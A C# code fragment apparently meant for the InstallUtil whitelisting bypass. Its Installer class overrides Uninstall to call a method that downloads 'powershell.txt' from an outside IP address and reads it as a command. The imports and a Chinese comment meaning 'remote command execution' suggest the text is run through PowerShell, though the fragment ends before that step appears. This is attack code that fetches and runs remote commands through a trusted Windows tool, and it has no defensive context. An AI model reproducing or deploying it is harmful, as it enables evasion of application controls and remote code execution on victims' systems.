using System; using System.Net; using System.IO; using System.Configuration.Install; using System.Runtime.InteropServices; using System.Management.Automation.Runspaces;
public classProgram { public static void Main() { //Console.WriteLine("test"); } } [System.ComponentModel.RunInstaller(true)] public classSample : System.Configuration.Install.Installer { public override void Uninstall(System.Collections.IDictionary savedState) { Mycode.Exec(); } } public classMycode { public static void Exec() { WebClient client = new WebClient(); //远程执行命令 Stream stream = client.OpenRead("http://11.11.11.11/powershell.txt"); StreamReader reader = new StreamReader(stream); String command = reader.ReadToEnd(); //Console.WriteLine(text);